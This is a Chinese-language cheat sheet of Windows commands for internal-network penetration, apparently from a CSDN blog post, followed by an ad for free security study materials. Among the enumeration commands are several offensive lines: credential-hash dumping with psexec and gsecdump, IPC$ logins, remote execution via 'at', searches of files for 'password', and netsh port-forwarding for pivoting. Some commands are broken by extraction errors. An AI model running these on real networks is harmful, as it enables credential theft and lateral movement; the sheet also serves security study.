1.域常用操作命令： | |
net group /domain | //获得所有域用户组列表 |
net group qq_group /domain | //显示域中 qq_group 组的成员 |
net group qq_group /del /domain | //删除域中 qq_group 组 |
net group qq_group qq /del /domain | //删除域内 qq_group 群组中的成员 QQ |
net group qq_group /add /domain | //增加域中的群组 |
net group "domain admins" /domain | //获得域管理员列表 |
net group "enterprise admins" /domain | //获得企业管理员列表 |
net localgroup administrators /domain | //获取域内置 administrators 组用（enterprise admins、 domain admins） |
net group "domain controllers" /domain | //获得域控制器列表 |
net group "domain computers" /domain | //获得所有域成员计算机列表 |
net user /domain | //获得所有域用户列表 |
net user someuser /domain | //获得指定账户 someuser 的详细信息 |
net accounts /domain | //获得域密码策略设置，密码长短，错误锁定等信息 |
nei view /domain | //查询有几个域, 查询域列表 |
net view /domain:testdomain | //查看 testdomain 域中的计算机列表 |
nltest /domain_trusts | //获取域信任信息 |
net user domain-admin /domain | //查看管理员登陆时间，密码过期时间，是否有登陆脚本， 组分配等信息 |
net config Workstation | //查询机器属于哪个域 |
net time /domian | //查询主域服务器的时间 |
echo %logonserver% | //查看登陆到这台服务器的计算机名 |
net time \\192.168.1.1 | //查询远程共享主机 192.168.1.1 的时间 |
net use \\IP\ipc$ password /user:userna me@domain |
//ipc$域内连接 |
net view \\dc2.backlion.com | //查看域控共享情况 |
dir \\dc2.backlion.com\SYSVOL /s / a > sysvol.txt |
//列出 sysvol 日志记录 |
xcopy \\dc2.backlion.com\sysvol.txt sysvo l.txt /i /e /c |
//远程拷贝到本地 sysvol 日志 |
net user /domain bk bk123 | //修改域内用户密码，需要管理员权限 |
net localgroup administartors SE ZKL\backlion /add | //将 SEZKL 域中的用户 backlion 添加到 administrators 组中 |
mstsc /admin | //远程桌面登录到 console 会话解决 hash 无法抓出问题 |
gpupdate/force | //更新域策略 |
psexec \\192.168.1.3 -u administrator - p bk1234 -c gsecdump.exe -u | //从域服务器密码存储文件 windows/ntds/ntds.dit 导出 h ash 值出来 |
gsecdump -a | //获取域登管理员登录过得 hash 值，这里 gescdump 为第 三方导出 AD 域的 hash 值 |
tasklist /S ip /U domain\username / P /V |
//查看远程计算机进程列 |
2.基本内网渗透命令： | |
ipconfig/all | //查看 IP 地址 |
ipconfig /release | //释放地址 |
ipconfig /renew | 重新获取 Ip 地址 |
whoami | //查询账号所属权限 |
whoami/all | //查看 sid 值 |
systeminfo | //查询系统以及补丁信息 |
tasklist /svc | //查看进程 |
taskkill /im 进程名称(cmd) | //结束进程 |
taskkill /pid[进程码] -t(结束该进程) -f(强制结束该进程以及所有子进程) | |
wmic qfe get hotfixid | //查看已安装过得补丁，这个很实用 |
wmic qfe list full /format:htable > h otfixes.htm |
//详细的补丁安装 |
wmic qfe | //查询补丁信息以及微软提供的下载地址 |
ping hostname(主机名） | //显示该机器名的 IP |
net start | //查看当前运行的服务 |
net user | //查看本地组的用户 |
net localhroup administrators | //查看本机管理员组有哪些用户 |
net user | //查看会话 |
net session | //查看当前会话 |
net share | //查看 SMB 指向的路径[即共享] |
wmic share get name,path | //查看 SMB 指向的路径 |
wmic nteventlog get path,filename,writea ble |
//查询系统日志文件存储位置 |
net use \\IP\ipc$ password /user:us ername |
//建立 IPC 会话（工作组模式） |
net use z: \\192.168.1.1 | //建立映射到本机 Z 盘 |
net time \\172.16.16.2 | //查询共享主机的是 |
at \\172.16.16.2 13:50 c:\windows\2009.e xe |
//在共享主机上执行 |
netstat -ano | //查看开放的端口 |
netstat -an | find “3389” | //找到 3389 端口 |
net accounts | //查看本地密码策略 |
nbtstat –A ip | //netbiso 查询 |
net view | //查看机器注释或许能得到当前活动状态的机器列 禁用 netbios 就查看不出来 |
echo %PROCESSOR_ARCHITECTURE% | //查看系统是 32 还是 64 位 |
set | //查看系统环境设置变量 |
net start | //查看当前运行的服务 |
wmic service list brief | //查看进程服务 |
3.内网网络结常用命令： | |
tracert IP | //路由跟踪 |
route print | //打印路由表 |
arp -a | //列出本网段内所有活跃的 IP 地址 |
arp -s （ip + mac） | //绑定 mac 与 ip 地址 |
arp -d （ip + mac） | //解绑 mac 与 ip 地址 |
nbtscan -r 192.168.16.0/24 | //通过小工具 nbtscan 扫描整个网络 |
netsh firewall show config | //查看防火墙策略 |
netsh firewall show state | //查看防火墙策略 |
for /l %i in (1,1,255) do @ping 10.0. 0.%i -w 1 -n 1 | find /i"ttl" |
//批量扫描内网存活主机 |
windows自带端口转发： | |||||
netsh |
interface |
ipv6 install | //首先安装 IPV6（xp、2003 下 IPV6 必须安装，否则 发不可用！） | ||
netsh interface portproxy add v4tov4 l istenaddress=0.0.0.0 listenport=22connecta ddress=1.1.1.1 connectport=22 |
//将本机 22 到 1.1.1.1 的 22 | ||||
netsh interface portproxy add v4tov4 l istenaddress=192.168.193.1listenport=22 co nnectaddress=8.8.8.8 connectport=22 | |||||
netsh interface portproxy add v4tov4 l istenaddress=192.168.193.1listenport=22 co nnectaddress=www.baidu.com connectport=22 | |||||
netsh | interface | portproxy show | all | // | 查看转发配置 |
netsh interface portproxy delete v4tov 4 listenaddress=0.0.0.0listenport=22 |
//删除配置 | ||||
netsh firewall set portopening protocol =tcp port=22 name=Forwardmode=enable sco pe=all profile=all |
//添加防火墙规则，允许连接 22： | ||||
findstr /si password *.xml *.ini *.txt | //查看后缀名文件中含有 password 关键字的文件 |
findstr /si login *.xml *.ini *.txt | //查看后缀名文件中含有 login 关键字的文件 |
copy con 创建命令： | |
copy con ftp.bat | //创建 ftp.bat 批处理，然后输入 ifconfig 等命令 r+z 退出，并创建成功 |
copy con test.vbs | //创建 test.vbs 脚本，输入脚本后，按 ctr+z 退出 建成功 |
5.dsquery的 AD 查询工具： | |
dsquery user domainroot -limit 65535 & & net user /domain |
//列出该域内所有用户名 |
dsquery server -domain super.com | dsg et server -dnsname -site | //搜索域内所有域控制器并显示他们的 DNS 主机名 名称 |
dsquery contact | //寻找目录中的联系人 |
dsquery subnet | //列出该域内网段划分 |
query user | //查询那些用户在线 |
dsquery group && net group /domain | //列出该域内分组 |
dsquery ou | //列出该域内组织单位 |
dsquery server && net time /domain | //列出该域内域控制器 |
dsquery site -o rdn | //搜索域中所有站点的名称 |
dsquery group dc=super,dc=com |more | //搜索在 DC=SUPER,DC=COM 域中的所有组 |
psloggedon.exe | //查询那台主机和用户登录到该主机上 |
netsess.exe //192.168.1.115 | //远程主机上无需管理员权限,查询到主机名和用户 |
reg query "HKEY_CURRENT_USER\SOFTWARE\MIC ROSOFT\TERMINAL SERVERCLIENT\DEFAULT" |
//获取最近 mstsc 登录的记录 |
DOS 常用快捷命令 | |
mspaint | 画图工具 |
calc | 计算器 |
notepad | 记事本 |
taskmgr | 任务管理器 |
osk | 打开屏幕键盘 |
gpedit.msc | 组策略 |
services.msc | 本地服务 |
compmgmt.msc | 计算机管理 |
devmgmt.msc | 设备管理器 |
winver | 查看系统版本 |
magnify | 放大镜实用程序 |
eventvwr | 事件查看器 |
Regedit | 打开注册表 |
resmon | 资源监视器 |
WMIC BIOS get release date |
查看电脑生产日期 |
mstsc -f | 远程连接（可以全屏） |
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料，给那些想学习 网络安全的小伙伴们一点帮助！
对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。
因篇幅有限，仅展示部分资料，朋友们如果有需要全套《网络安全入门+进阶学习资源包》，需要点击下方链接即可前往获取
读者福利 | CSDN大礼包：《网络安全入门&进阶学习资源包》免费分享 （安全链接，放心点击）
同时每个成长路线对应的板块都有配套的视频提供：
学习资料工具包
压箱底的好资料，全面地介绍网络安全的基础理论，包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等，将基础理论和主流工具的应用实践紧密结合，有利于读者理解各种主流工具背后的实现机制。
面试刷题
视频配套资料&国内外网安书籍、文档
当然除了有配套的视频，同时也为大家整理了各种文档和书籍资料
所有资料共282G，朋友们如果有需要全套《网络安全入门+进阶学习资源包》，可以扫描下方二维码或链接免费领取~
读者福利 | CSDN大礼包：《网络安全入门&进阶学习资源包》免费分享 （安全链接，放心点击）
369
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
